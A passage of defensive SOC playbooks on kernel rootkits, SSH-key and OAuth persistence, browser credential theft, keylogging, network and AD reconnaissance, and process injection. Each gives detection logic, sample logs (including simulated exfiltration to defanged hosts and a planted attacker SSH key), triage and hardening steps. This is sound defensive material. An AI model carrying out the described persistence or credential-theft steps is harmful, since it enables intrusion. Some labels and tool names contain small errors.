- Driver loads shortly after admin escalation

Increase severity if:

- Driver is unsigned or recently compiled
- Loaded after AV/EDR tampering
- Loaded on domain controllers or servers
- System integrity checks fail

5. Log Data

Windows System Log

2027-10-18 01:33:41 | DRIVER_LOAD | driver=netflt.sys |
path=C:\Windows\Temp\netflt.sys | signer=Unsigned

EDR Kernel Alert

2027-10-18 01:33:42 | KERNEL_ALERT |
message=Suspicious kernel driver loaded outside trusted paths

Strong indication of **kernel-level compromise**.

6. Possible Attack Scenarios

Scenario A – Long-Term Espionage
Rootkit deployed to maintain stealth access and monitor activity.

Scenario B – Ransomware Pre-Positioning
Kernel driver disables security tools before encryption phase.

Scenario C – Credential and Network Stealth
Rootkit hides credential dumping and C2 traffic from EDR.

7. SOC Triage Workflow

L1 Analyst – Not Applicable
This alert **must bypass L1**.

L2 Analyst – Initial Analysis

Questions to Answer

Which driver was loaded
Is the driver signed and trusted
When was it installed
What activity preceded the load

Immediate Checks

Driver signature and hash
Install timestamp correlation
Admin activity prior to load
Host criticality

Decision

Suspicious kernel driver → Incident immediately

DFIR Team – Deep Analysis

Analysis Steps

Acquire full disk image
Capture volatile memory
Analyse driver behaviour offline
Validate OS integrity

High-Risk Indicators

Unsigned drivers
Hidden processes detected
Kernel hooks observed
EDR telemetry gaps

8. Incident Escalation Criteria

Always escalate to Crisis when:

Malicious kernel driver confirmed

Immediate executive notification required if:

Domain controllers affected
Multiple hosts impacted
Regulated systems involved

9. Containment Actions

Immediate SOC Actions

Physically or logically isolate host

Prevent reboot unless coordinated
Preserve memory and disk images

Extended IR Actions
Reimage affected systems
Rotate all credentials used on host
Review firmware and boot integrity
Hunt for rootkit indicators across environment

10. Recovery & Validation

Rebuild system from known-good image
Validate firmware and boot chain
Confirm clean kernel state
Reintroduce system only after full validation

11. Prevention & Hardening

Control: Driver Signing Enforcement
Action: Block unsigned kernel drivers

Control: Secure Boot
Action: Enforce boot-time integrity

Control: EDR Kernel Monitoring
Action: Alert on abnormal driver loads

Control: Privileged Access
Action: Restrict driver installation rights

12. Mapping to NIST Incident Response

Preparation: Kernel protection controls
Detection: Suspicious driver alert
Analysis: Memory and disk forensics
Containment: Host isolation
Eradication: System rebuild
Recovery: Integrity validation
Lessons Learned: Kernel attack prevention

13. SOC Perspective

Kernel-level compromise changes everything.

If the kernel is untrusted,
nothing above it can be trusted.

Isolate immediately,
preserve evidence,
and rebuild without hesitation.

BYZANTINE

[PERSISTENCE] PLAYBOOK 37: NEW SSH KEY ADDED – PERSISTENT REMOTE ACCESS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-037
Use Case Name: New SSH Key Added
MITRE ATT&CK Tactic: Persistence
Technique ID: T1098.004
Technique Name: SSH Authorized Keys
Threat Category: Persistence / Remote Access
Severity (Default): High
Escalation Severity: Critical (if unauthorised)
Applies To: Linux Servers, Cloud Instances, Containers
SOC Ownership: L1 → L2 → IR Lead
Incident Type: Persistence via Credential Material

2. Threat Description

An attacker adds their **own SSH public key** to a user's `authorized_keys` file to maintain long-term access without relying on passwords.

Once added, the attacker can:

- Access the system at any time
- Bypass password changes
- Avoid MFA where SSH keys are trusted

This is a **silent and durable persistence mechanism**.

3. Why This Detection Matters in 2026

In 2026, SSH key abuse is increasingly common because:

- Key-based access is widely trusted
- Keys often lack expiry
- Changes are rarely monitored

Attackers prefer SSH keys because they allow **persistent access with minimal noise** and survive credential resets.

4. Detection Logic

Trigger alert when:

New SSH key added to authorized_keys
authorized_keys file modified unexpectedly
Key added outside approved change window

Increase severity if:

Key added by non-owner account
Key added shortly after suspicious login
Root or service account affected
Key fingerprint unknown or unregistered

5. Log Data

Linux Audit Logs

2027-10-27 02:19:08 | FILE_MODIFY |

file=/home/appuser/.ssh/authorized_keys | user=root

File Content Diff

+ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMaliciousKey attacker@host

Clear **unauthorised SSH persistence**.

6. Possible Attack Scenarios

Scenario A – Post-Compromise Persistence
Attacker adds SSH key after obtaining sudo access.

Scenario B – Cloud Instance Takeover
Compromised cloud account injects SSH key via metadata or user-data.

Scenario C – Insider Abuse
Privileged user adds backdoor key for future access.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer
Which account received the key
Who added the key
Is the key registered or approved
When was it added

Immediate Checks

- authorized_keys file history
- Key fingerprint comparison
- Recent login and sudo activity
- Change management records

Decision

Unauthorised SSH key → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Trace origin of key addition
- Check for additional keys or users
- Check for other persistence mechanisms
- Review cloud and metadata access

High-Risk Indicators

- Key added to root or service account
- Multiple systems modified
- Key added off-hours
- Correlated with prior compromise

8. Incident Escalation Criteria

Escalate to Incident when:

- SSH key added without approval

Escalate to Crisis if:

- Root or infrastructure accounts affected
- Multiple hosts compromised
- Cloud fleet impacted

9. Containment Actions

Immediate SOC Actions

- Remove unauthorised SSH keys
- Rotate affected user credentials
- Isolate system if needed

Extended IR Actions

- Audit all SSH keys environment-wide
- Rotate cloud and infrastructure secrets

Preserve logs and file integrity evidence
Hunt for similar persistence techniques

10. Recovery & Validation

Confirm only approved keys remain
Validate SSH access controls
Ensure no additional backdoors exist
Monitor for repeated key additions

11. Prevention & Hardening

Control: SSH Key Management
Action: Centralise and register SSH keys

Control: File Integrity Monitoring
Action: Alert on authorized_keys changes

Control: Privileged Access
Action: Restrict who can modify SSH keys

Control: MFA
Action: Enforce MFA for SSH where possible

12. Mapping to NIST Incident Response

Preparation: SSH access governance
Detection: Key modification alert
Analysis: Persistence review
Containment: Key removal
Eradication: Credential rotation
Recovery: Access validation
Lessons Learned: SSH key lifecycle controls

13. SOC Perspective

Passwords can be changed.
Keys stay until removed.

If an attacker adds an SSH key,
they plan to come back.

Remove it, rotate access,
and assume persistence elsewhere.

[PERSISTENCE] PLAYBOOK 38: NEW OAUTH CONSENT – TOKEN-BASED CLOUD PERSISTENCE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-038
Use Case Name: New OAuth Consent
MITRE ATT&CK Tactic: Persistence
Technique ID: T1098.003
Technique Name: Account Manipulation
Threat Category: Cloud Persistence / Identity Abuse
Severity (Default): Critical
Escalation Severity: Crisis
Applies To: M365, Azure AD, Google Workspace, SaaS Platforms
SOC Ownership: L2 → IR Lead → Cloud Security
Incident Type: Cloud Identity Persistence

2. Threat Description

An attacker creates or abuses a **malicious OAuth application** and tricks or forces a user or admin to grant consent.

Once consented, the OAuth app can:

- Access cloud resources via API
- Read emails, files, calendars
- Operate silently using access and refresh tokens
- Persist even after password resets and MFA changes

This is **one of the most dangerous cloud persistence techniques**.

3. Why This Detection Matters in 2026

In 2026, OAuth abuse is increasingly used because:

- OAuth apps appear legitimate
- Tokens bypass interactive authentication
- Visibility is often limited

Attackers prefer OAuth persistence because it allows:

- Long-term access
- Stealthy data exfiltration
- Cloud-to-cloud lateral movement

Revoking user passwords alone **does not remove this access.**

4. Detection Logic

Trigger alert when:

New OAuth app consent granted
High-privilege scopes requested
Consent granted outside normal workflow

Increase severity if:

App requests mail.read, files.read, directory.read
Consent granted by admin or service account
Consent follows phishing or unusual login
App originates from unknown publisher

5. Log Data

Cloud Audit Logs

2027-11-03 09:42:17 | OAUTH_CONSENT_GRANTED |

app=MailSyncPro | scopes=Mail.Read,Files.Read.All | user=finance.manager

Follow-on API Activity

2027-11-03 09:44:08 | GRAPH_API_CALL |

app=MailSyncPro | endpoint=/users/*/messages

Clear **OAuth-based persistent access.**

6. Possible Attack Scenarios

Scenario A – OAuth Phishing

User consents to a fake productivity app after clicking phishing link.

Scenario B – Admin Consent Abuse

Attacker tricks admin into granting tenant-wide OAuth permissions.

Scenario C – Token-Based Data Exfiltration

OAuth app used to continuously pull data without triggering login alerts.

7. SOC Triage Workflow

L1 Analyst – Not Applicable
This alert should **bypass L1**.

L2 Analyst – Initial Analysis

Questions to Answer

Which app was consented

What scopes were granted

Who approved the consent

Is the app legitimate

Immediate Checks

App publisher and registration details

Consent time correlation

User and admin activity

Token usage patterns

Decision

Unknown or risky OAuth consent → Incident

8. Incident Escalation Criteria

Always escalate to Incident when:

OAuth consent is unrecognised

Escalate to Crisis if:

Admin-level consent granted

Sensitive scopes involved

Data access confirmed

9. Containment Actions

Immediate SOC Actions

Revoke OAuth app consent

Disable or delete malicious app

Revoke all tokens issued to the app

Extended IR Actions

Audit all OAuth apps in tenant

Rotate affected user credentials

Review mailbox rules and data access

Notify cloud and identity teams

10. Recovery & Validation

Confirm app fully removed
Confirm tokens invalidated
Validate no further API access
Monitor for re-consent attempts

11. Prevention & Hardening

Control: OAuth App Governance
Action: Restrict user consent

Control: Admin Consent Workflow
Action: Require security review

Control: Cloud Logging
Action: Monitor OAuth and Graph API usage

Control: User Awareness
Action: Train users on consent risks

12. Mapping to NIST Incident Response

Preparation: Cloud identity governance
Detection: OAuth consent alert
Analysis: App and token review
Containment: Consent revocation
Eradication: App removal
Recovery: Access validation
Lessons Learned: OAuth security controls

13. SOC Perspective

OAuth is persistence without passwords.

If an attacker gets consent,
they don't need your login anymore.

Revoke fast, audit everything,
and lock down consent pathways.

[CREDENTIAL ACCESS] PLAYBOOK 39: BROWSER CREDENTIAL ACCESS – CREDENTIAL AND SESSION THEFT

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-039
Use Case Name: Browser Credential Access
MITRE ATT&CK Tactic: Credential Access
Technique ID: T1555
Technique Name: Credentials from Web Browsers
Threat Category: Credential Theft / Account Takeover
Severity (Default): High
Escalation Severity: Critical (if session hijacking confirmed)
Applies To: User Endpoints, Browsers, SaaS Platforms
SOC Ownership: L1 → L2 → IR Lead
Incident Type: Credential Compromise

2. Threat Description

Malware running on an endpoint **extracts stored browser credentials, cookies and session tokens** from browsers such as Chrome, Edge and Firefox.

Attackers target browser data to:

- Steal saved usernames and passwords
- Hijack authenticated sessions
- Bypass MFA using session cookies
- Access web and SaaS platforms silently

This enables **rapid account takeover without reauthentication**.

3. Why This Detection Matters in 2026

In 2026, browsers are the **primary access point to cloud services**.

Attackers exploit browser credential stores because:

- Users reuse sessions extensively
- Cookies often outlive passwords
- MFA does not protect stolen sessions

Once browser data is stolen, attackers can **pivot into cloud services immediately**.

4. Detection Logic

Trigger alert when:

Browser credential stores accessed by non-browser processes
DPAPI access invoked unusually
Credential files copied or read in bulk
Known credential-stealer patterns detected

Increase severity if:

Access follows malware execution
Multiple browsers targeted
Network exfiltration follows
Endpoint shows other compromise indicators

5. Log Data

Endpoint Telemetry

2027-11-18 01:22:47 | FILE_READ |

process=stealer.exe | file=Login Data |
path=C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\

Network Logs

2027-11-18 01:23:02 | HTTPS_UPLOAD |

dest=sync-auth[.]cloud | bytes_sent=3.2MB

Indicates **credential harvesting followed by exfiltration.**

6. Possible Attack Scenarios

Scenario A – Infostealer Malware

Commodity infostealer extracts browser passwords and cookies.

Scenario B – Session Hijacking

Attacker reuses stolen cookies to access SaaS without MFA.

Scenario C – Cloud Account Pivot

Stolen browser tokens used to access email, storage and admin portals.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which browsers were targeted
What data was accessed
Was data exfiltrated
What malware was involved

Immediate Checks

Process accessing browser data
File access timestamps
Network activity correlation
User privilege level

Decision

Browser credential access → Incident

L2 Analyst – Deep Analysis

Analysis Steps

Identify malware family
Determine data scope
Check for SaaS and cloud access
Hunt for same behaviour across endpoints

High-Risk Indicators

Access to cookie stores
DPAPI abuse
Immediate outbound traffic
Follow-on cloud login anomalies

8. Incident Escalation Criteria

Always escalate to Incident when:

Browser credential theft detected

Escalate to Crisis if:

Privileged SaaS accounts affected
Multiple endpoints compromised
Cloud-wide access observed

9. Containment Actions

Immediate SOC Actions

Isolate affected endpoint

Terminate malicious processes
Block exfiltration destinations

Extended IR Actions
Reset all credentials used on endpoint
Invalidate SaaS sessions and tokens
Revoke OAuth and API tokens
Preserve forensic artefacts

10. Recovery & Validation

Confirm malware removal
Confirm all sessions invalidated
Monitor accounts for abnormal access
Validate endpoint security posture

11. Prevention & Hardening

Control: Endpoint Protection
Action: Detect credential-stealer patterns

Control: Browser Security
Action: Restrict credential storage

Control: Session Management
Action: Enforce frequent reauthentication

Control: MFA
Action: Use phishing-resistant MFA

12. Mapping to NIST Incident Response

Preparation: Endpoint and identity controls
Detection: Credential access alert
Analysis: Data scope review
Containment: Endpoint isolation
Eradication: Malware removal
Recovery: Credential and session reset
Lessons Learned: Browser security hardening

13. SOC Perspective

Passwords are optional.
Sessions are everything.

If browser data is stolen,
assume the attacker already logged in.

Isolate, reset, revoke,
and hunt for cloud access immediately.

BYZANTINE

[CREDENTIAL ACCESS] PLAYBOOK 40: KEYLOGGING BEHAVIOUR – REAL-TIME KEYSTROKE CAPTURE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-040
Use Case Name: Keylogging Behaviour
MITRE ATT&CK Tactic: Credential Access
Technique ID: T1056.001
Technique Name: Keylogging
Threat Category: Credential Theft / Surveillance
Severity (Default): Critical
Escalation Severity: Crisis
Applies To: User Endpoints, VDI, Jump Hosts
SOC Ownership: L2 → IR Lead → DFIR
Incident Type: Active Credential Harvesting

2. Threat Description

Malware on an endpoint **captures keystrokes in real time**, allowing attackers to steal:

- Username and passwords
- One-time MFA codes
- Sensitive business data
- Internal communications

Unlike stored credential theft, keylogging **bypasses encryption, password managers and MFA** by intercepting input before protection applies.

3. Why This Detection Matters in 2026

In 2026, keylogging represents **active, ongoing compromise**.

Attackers deploy keyloggers to:

- Harvest credentials as users type them
- Capture MFA codes in real time
- Monitor sensitive activity continuously

If keylogging is present, **every interaction on that endpoint is compromised**.

4. Detection Logic

Trigger alert when:

Processes register keyboard hooks
Suspicious DLLs inject into GUI processes
Unusual access to input APIs detected
Known keylogging behaviour patterns observed

Increase severity if:

Activity persists across sessions
Multiple input methods intercepted
Data exfiltration follows
EDR evasion observed

5. Log Data

Endpoint Telemetry

2027-11-26 02:48:13 | INPUT_HOOK |

process=winlog.exe | target=explorer.exe

Network Logs

2027-11-26 02:48:29 | HTTPS_POST |

dest=keysync[.]cloud | payload_size=12KB

Indicates **real-time keystroke capture and exfiltration.**

6. Possible Attack Scenarios

Scenario A – Banking Credential Theft
Keylogger captures login credentials and OTPs.

Scenario B – Corporate Espionage
Attacker monitors internal communications and documents.

Scenario C – Privilege Escalation Preparation
Admin credentials captured for lateral movement.

7. SOC Triage Workflow

L1 Analyst – Not Applicable
This alert must **bypass L1.**

L2 Analyst – Immediate Analysis

Questions to Answer

Which process installed the hook
How long logging has occurred
What data may be exposed
Was data exfiltrated

Immediate Checks

Process injection indicators
Persistence mechanisms
Outbound communication channels
User activity timeline

Decision

Keylogging detected → Crisis Incident

8. Incident Escalation Criteria

Always escalate to Crisis when:

Keylogging confirmed

Immediate executive and legal notification required if:

Privileged users affected
Regulated data at risk
Widespread deployment detected

9. Containment Actions

Immediate SOC Actions

Isolate affected endpoint immediately
Terminate malicious processes
Disable user accounts temporarily

Extended IR Actions

Capture memory for forensic analysis
Reimage affected systems
Rotate all credentials used on endpoint
Invalidate all active sessions

10. Recovery & Validation

Confirm clean rebuild of endpoint
Validate no keylogging components remain

Verify credential resets complete
Monitor accounts for suspicious activity

11. Prevention & Hardening

Control: Endpoint Behaviour Detection
Action: Detect keyboard hook abuse

Control: Application Control
Action: Block untrusted code injection

Control: Privileged Access
Action: Reduce use of privileged accounts

Control: MFA
Action: Use hardware-backed MFA

12. Mapping to NIST Incident Response

Preparation: Endpoint behavioural controls
Detection: Input interception alert
Analysis: Memory and behaviour analysis
Containment: Endpoint isolation
Eradication: System rebuild
Recovery: Credential hygiene
Lessons Learned: Endpoint trust model review

13. SOC Perspective

Keylogging means the attacker is watching everything the user types.

There is no partial trust left.

Isolate immediately, rebuild completely,
and assume all credentials are compromised.

[DISCOVERY] PLAYBOOK 41: NETWORK SCANNING DETECTED – INTERNAL RECONNAISSANCE

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-041

Use Case Name: Network Scanning Detected

MITRE ATT&CK Tactic: Discovery

Technique ID: T1046

Technique Name: Network Service Discovery

Threat Category: Internal Reconnaissance / Lateral Movement Preparation

Severity (Default): Medium

Escalation Severity: High (if correlated with prior compromise)

Applies To: Internal Networks, Servers, Endpoints

SOC Ownership: L1 → L2 → IR Lead

Incident Type: Post-Compromise Reconnaissance

2. Threat Description

An attacker performs **network scanning inside the internal environment** to discover:

Live hosts

Open ports

Running services

Potentially vulnerable systems

This activity is typically executed using tools such as port scanners, scripting utilities or built-in OS commands and is a **precursor to lateral movement**.

3. Why This Detection Matters in 2026

In 2026, attackers rarely move blindly.

Network discovery allows them to:

Identify domain controllers and file servers

Locate vulnerable legacy services

Select high-value targets for privilege escalation

If scanning is detected internally, it usually means **initial access has already succeeded**.

4. Detection Logic

Trigger alert when:

High-volume connection attempts across multiple IPs
Sequential port probing detected
ICMP sweeps across subnets
Unusual service enumeration from a single host

Increase severity if:

Scanning originates from user workstation
Scanning follows credential theft or malware alerts
Sensitive subnets targeted
Multiple scan techniques observed

5. Log Data

Network IDS Logs

2027-12-03 01:14:22 | PORT_SCAN |

src=10.10.15.34 | targets=10.10.0.0/24 | ports=22,80,445,3389

Firewall Logs

2027-12-03 01:14:29 | CONNECTION_ATTEMPTS |

src=10.10.15.34 | unique_destinations=87 | duration=90s

Clear indication of **automated internal reconnaissance**.

6. Possible Attack Scenarios

Scenario A – Post-Initial Access Mapping

Attacker scans network after compromising a user endpoint.

Scenario B – Malware-Driven Reconnaissance

Automated malware performs scanning to locate exploitable services.

Scenario C – Insider Threat Recon

Malicious insider maps internal infrastructure.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which host initiated the scan

Is the host authorised to scan

What subnets and ports were targeted
Is the behaviour automated

Immediate Checks

Source host role and owner
Recent alerts tied to source host
Scan duration and intensity
Change or vulnerability scan schedules

Decision

Unauthorised scan → Escalate to L2

L2 Analyst – Deep Analysis

Analysis Steps

Correlate with endpoint telemetry
Check for follow-on lateral movement
Identify scanning tools or scripts
Assess target criticality

High-Risk Indicators

User workstation scanning servers
Scanning domain controllers
Correlation with credential theft
Repeated scanning attempts

8. Incident Escalation Criteria

Escalate to Incident when:

Scanning source host shows compromise indicators

Escalate to High or Critical if:

Followed by lateral movement attempts
Multiple compromised hosts involved
Scanning targets critical infrastructure

9. Containment Actions

Immediate SOC Actions

Isolate scanning host if compromised
Block further scanning activity
Preserve network and endpoint logs

Extended IR Actions

Hunt for lateral movement
Assess exposed services
Patch or isolate vulnerable systems
Engage network operations team

10. Recovery & Validation

Confirm scanning activity stopped
Validate no lateral movement succeeded
Monitor network for repeat scanning
Verify source host integrity

11. Prevention & Hardening

Control: Network Segmentation
Action: Limit lateral visibility

Control: IDS/IPS
Action: Detect internal scanning patterns

Control: Endpoint Protection
Action: Detect scanning tools

Control: Monitoring
Action: Baseline authorised scanning activity

12. Mapping to NIST Incident Response

Preparation: Network visibility controls
Detection: Scan anomaly alert
Analysis: Behaviour correlation
Containment: Host isolation
Eradication: Malware removal if present
Recovery: Network normalisation
Lessons Learned: Segmentation and monitoring improvements

13. SOC Perspective

Scanning is not noise inside the network.

If someone is mapping your environment,
they are planning their next move.

Stop the scan, find the foothold,
and assume the attacker is already inside.

BYZANTINE

[DISCOVERY] PLAYBOOK 42: AD ENUMERATION – DOMAIN USER AND GROUP MAPPING

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-042

Use Case Name: AD Enumeration

MITRE ATT&CK Tactic: Discovery

Technique ID: T1087.002

Technique Name: Domain Account Discovery

Threat Category: Internal Discovery / Privilege Targeting

Severity (Default): Medium

Escalation Severity: High (if correlated with prior compromise)

Applies To: Active Directory, Domain Controllers, Identity Infrastructure

SOC Ownership: L1 → L2 → IR Lead

Incident Type: Post-Compromise Discovery

2. Threat Description

A compromised account **queries Active Directory** to enumerate:

Domain users

Security and distribution groups

Privileged accounts (Domain Admins, Enterprise Admins)

Service and managed service accounts

This activity helps attackers **identify high-value targets** for privilege escalation and lateral movement.

3. Why This Detection Matters in 2026

In 2026, AD remains the **core identity backbone** for most enterprises.

Attackers enumerate AD to:

Locate privileged identities

Understand trust relationships

Identify weak or legacy accounts

If AD enumeration is detected, it strongly suggests **successful initial access has already occurred**.

4. Detection Logic

Trigger alert when:

- High-volume LDAP queries observed
- Enumeration of users or groups in short time window
- Use of discovery-focused LDAP filters
- Repeated queries from non-admin workstation

Increase severity if:

- Enumeration targets admin or tier-0 groups
- Activity originates from user endpoint
- Enumeration follows credential theft
- Multiple enumeration techniques used

5. Log Data

Domain Controller Security Logs

2027-12-09 02:06:18 | LDAP_QUERY |

user=john.doe | filter=(objectClass=user) | count=3120

Additional Query

2027-12-09 02:06:34 | LDAP_QUERY |

user=john.doe | filter=(memberOf=Domain Admins)

Clear **identity mapping activity**.

6. Possible Attack Scenarios

Scenario A – Privilege Targeting

Attacker identifies domain admins for password spraying or Kerberoasting.

Scenario B – Service Account Recon

Service accounts enumerated for weak passwords or SPNs.

Scenario C – Lateral Movement Planning

Groups mapped to understand access paths across servers.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

Which account performed enumeration

Is the account normally allowed to query AD
What groups or users were targeted
Did activity occur off-hours

Immediate Checks

Account role and privileges
Source host type
Recent alerts tied to account
LDAP query volume baseline

Decision

Suspicious enumeration → Escalate to L2

L2 Analyst – Deep Analysis

Analysis Steps

Review full LDAP query patterns
Correlate with endpoint telemetry
Check for follow-on authentication attempts
Identify tools or scripts used

High-Risk Indicators

Targeting of tier-0 groups
Enumeration from compromised workstation
Correlation with credential access alerts
Repeated enumeration attempts

8. Incident Escalation Criteria

Escalate to Incident when:

AD enumeration follows confirmed compromise

Escalate to High if:

Admin groups targeted
Enumeration repeated across hosts
Follow-on privilege escalation detected

9. Containment Actions

Immediate SOC Actions

Monitor account closely
Restrict access if compromise suspected
Preserve DC and endpoint logs

Extended IR Actions

Reset affected account credentials
Hunt for additional discovery activity
Review group memberships and ACLs
Engage identity and AD teams

10. Recovery & Validation

Confirm enumeration activity stopped
Validate no privilege escalation occurred
Monitor for further identity abuse
Verify AD integrity

11. Prevention & Hardening

Control: AD Monitoring
Action: Alert on abnormal LDAP enumeration

Control: Tiered Access Model
Action: Separate admin and user activities

Control: Least Privilege
Action: Restrict unnecessary AD read access

Control: Logging
Action: Enable detailed LDAP query logging

12. Mapping to NIST Incident Response

Preparation: Identity monitoring
Detection: AD enumeration alert
Analysis: Query behaviour review
Containment: Account control
Eradication: Credential reset
Recovery: Identity validation
Lessons Learned: AD visibility improvements

13. SOC Perspective

Attackers don't guess who to target.
They ask Active Directory.

If AD is being mapped,
the attacker is planning their next escalation.

Stop the discovery, secure the identity,
and expect privilege abuse next.

BYZANTINE

[DISCOVERY] PLAYBOOK 43: BLOODHOUND-LIKE ACTIVITY – AD ATTACK PATH DISCOVERY

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-043

Use Case Name: BloodHound-Like Activity

MITRE ATT&CK Tactic: Discovery

Technique ID: T1087

Technique Name: Account Discovery

Threat Category: Advanced AD Reconnaissance / Privilege Escalation Planning

Severity (Default): High

Escalation Severity: Critical (if followed by privilege abuse)

Applies To: Active Directory, Domain Controllers, Identity Infrastructure

SOC Ownership: L2 → IR Lead → AD Security

Incident Type: Advanced Post-Compromise Discovery

2. Threat Description

An attacker performs **graph-based Active Directory enumeration** to analyse relationships between users, groups, computers, permissions and delegation paths.

This activity aims to:

- Identify shortest paths to Domain Admin

- Map misconfigurations and excessive privileges

- Discover attack paths using ACLs, sessions and trusts

This goes beyond basic enumeration and signals **intentional privilege escalation planning**.

3. Why This Detection Matters in 2026

In 2026, attackers no longer brute-force AD blindly.

They use relationship mapping to:

- Minimise noise

- Avoid failed attacks

- Exploit weakest privilege paths

Detection of BloodHound-like behaviour indicates a **mature adversary already inside the domain**.

4. Detection Logic

Trigger alert when:

High-volume LDAP queries across diverse object types
Enumeration of ACLs, sessions and delegation
Rapid queries touching users, groups, computers and trusts
Unusual use of directory attributes related to permissions

Increase severity if:

Activity originates from user workstation
Enumeration targets tier-0 assets
Activity follows credential theft or lateral movement
Multiple collection methods observed

5. Log Data

Domain Controller Logs

2027-12-15 01:27:44 | LDAP_QUERY |

user=finance.user | objects=users,groups,computers,ACLs | count=9800

Endpoint Telemetry

2027-12-15 01:28:02 | PROCESS_START |

process=sharpound.exe | parent=powershell.exe

Clear indication of **AD graph collection activity**.

6. Possible Attack Scenarios

Scenario A – Privilege Escalation Planning

Attacker maps shortest path to Domain Admin using delegated permissions.

Scenario B – Stealthy Lateral Movement

Attack paths identified to move without triggering alerts.

Scenario C – Red Team or Insider Abuse

Legitimate tools abused outside authorised testing windows.

7. SOC Triage Workflow

L1 Analyst – Not Applicable

This alert should **bypass L1**.

L2 Analyst – Initial Analysis

Questions to Answer

Which account performed collection

What data types were queried

Was this authorised activity

What happened immediately after

Immediate Checks

Account role and legitimacy

Source host ownership

Change or red team approvals

Recent alerts tied to account

Decision

Unauthorised BloodHound-like activity → Incident

8. Incident Escalation Criteria

Escalate to Incident when:

Graph-based AD enumeration confirmed

Escalate to Crisis if:

Tier-0 attack paths identified

Privilege escalation attempts observed

Multiple collection runs detected

9. Containment Actions

Immediate SOC Actions

Isolate source host

Suspend or restrict involved account

Preserve DC and endpoint logs

Extended IR Actions

Reset compromised credentials

Audit AD permissions and delegations

Hunt for follow-on privilege abuse

Engage AD and identity owners

10. Recovery & Validation

Confirm enumeration activity stopped

Validate no privilege escalation occurred

Review and remediate risky AD paths
Monitor for repeated collection attempts

11. Prevention & Hardening

Control: AD Permissions Hygiene
Action: Remove excessive delegations and ACLs

Control: Monitoring
Action: Detect graph-style enumeration patterns

Control: Tiered Administration
Action: Protect tier-0 assets strictly

Control: Red Team Governance
Action: Clearly separate authorised testing activity

12. Mapping to NIST Incident Response

Preparation: AD hardening and monitoring
Detection: Advanced discovery alert
Analysis: Attack path assessment
Containment: Account and host isolation
Eradication: Permission remediation
Recovery: Identity validation
Lessons Learned: AD exposure reduction

13. SOC Perspective

Basic enumeration asks **who exists**.
BloodHound asks **how do I win**.

If attack paths are being mapped,
the attacker is no longer exploring.

They are planning escalation.

Stop the mapping, secure the graph,
and expect the next move to be privilege abuse.

[DISCOVERY] PLAYBOOK 44: PROCESS INJECTION – STEALTHY MALICIOUS EXECUTION

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-044

Use Case Name: Process Injection

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1055

Technique Name: Process Injection

Threat Category: Stealth Execution / Evasion

Severity (Default): Critical

Escalation Severity: Crisis

Applies To: Windows Endpoints, Servers, Domain Controllers

SOC Ownership: L2 → IR Lead → DFIR

Incident Type: Active Stealth Compromise

2. Threat Description

Malware **injects malicious code into a legitimate running process** to hide execution and evade security controls.

Common target processes include:

explorer.exe

svchost.exe

lsass.exe

winlogon.exe

Injection techniques may include:

DLL injection

Process hollowing

Reflective DLL loading

Thread hijacking

This allows attackers to **blend malicious activity into trusted processes**.

3. Why This Detection Matters in 2026

In 2026, process injection is a **hallmark of advanced malware**.

Attackers use it to:

Bypass EDR user-mode monitoring
Hide C2 communications
Perform credential access stealthily

If injection is detected, the system is **already deeply compromised**.

4. Detection Logic

Trigger alert when:

Unexpected memory allocation in trusted processes
Suspicious API calls (WriteProcessMemory, CreateRemoteThread)
Unsigned modules loaded into signed processes
Abnormal parent-child process relationships

Increase severity if:

Target is lsass.exe or winlogon.exe
Injection follows credential access activity
EDR telemetry gaps appear
Multiple processes injected

5. Log Data

Endpoint Memory Telemetry

2027-12-21 02:41:18 | PROCESS_INJECTION |

source=malware.exe | target=explorer.exe | method=CreateRemoteThread

EDR Alert

2027-12-21 02:41:19 | MEMORY_ANOMALY |

process=explorer.exe | unsigned_code_detected=true

Clear indication of **active process injection**.

6. Possible Attack Scenarios

Scenario A – Stealthy C2 Channel

Injected code communicates with C2 from explorer.exe.

Scenario B – Credential Theft Concealment

Injection into lsass.exe to hide credential dumping.

Scenario C – Long-Term Persistence

Injected payload survives as long as host process runs.

7. SOC Triage Workflow

L1 Analyst – Not Applicable

This alert must **bypass L1**.

L2 Analyst – Immediate Analysis

Questions to Answer

Which process was injected

What injection technique was used

What activity followed injection

Is credential access involved

Immediate Checks

Target process integrity

Injected module signatures

Correlated alerts on host

User privilege level

Decision

Process injection detected → Crisis Incident

8. Incident Escalation Criteria

Always escalate to Crisis when:

Injection into trusted process confirmed

Immediate executive notification required if:

lsass.exe or domain controllers affected

Multiple hosts show injection

Credential theft or C2 observed

9. Containment Actions

Immediate SOC Actions

Isolate affected host immediately

Terminate injected processes if safe

Preserve memory and disk artefacts

Extended IR Actions

Capture full memory image

Reimage affected systems
Rotate all credentials used on host
Hunt for injection across environment

10. Recovery & Validation

Confirm system rebuilt from trusted image
Validate no injected code remains
Verify EDR telemetry restored
Monitor for reinfection attempts

11. Prevention & Hardening

Control: EDR Memory Protection
Action: Block remote thread creation

Control: Application Control
Action: Restrict unsigned code execution

Control: Privileged Access
Action: Limit admin rights on endpoints

Control: Credential Protection
Action: Enable LSASS protection

12. Mapping to NIST Incident Response

Preparation: Memory protection controls
Detection: Injection anomaly alert
Analysis: Memory forensic analysis
Containment: Host isolation
Eradication: System rebuild
Recovery: Integrity validation
Lessons Learned: Endpoint hardening

13. SOC Perspective

Injection means the attacker is hiding
inside something you already trust.

If a trusted process is compromised,
trust is gone.

Isolate immediately, preserve memory,
and rebuild without debate.

BYZUMER

[DEFENSE EVASION] PLAYBOOK 45: DLL SIDE-LOADING – DLL SEARCH ORDER HIJACKING

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-045

Use Case Name: DLL Side-Loading

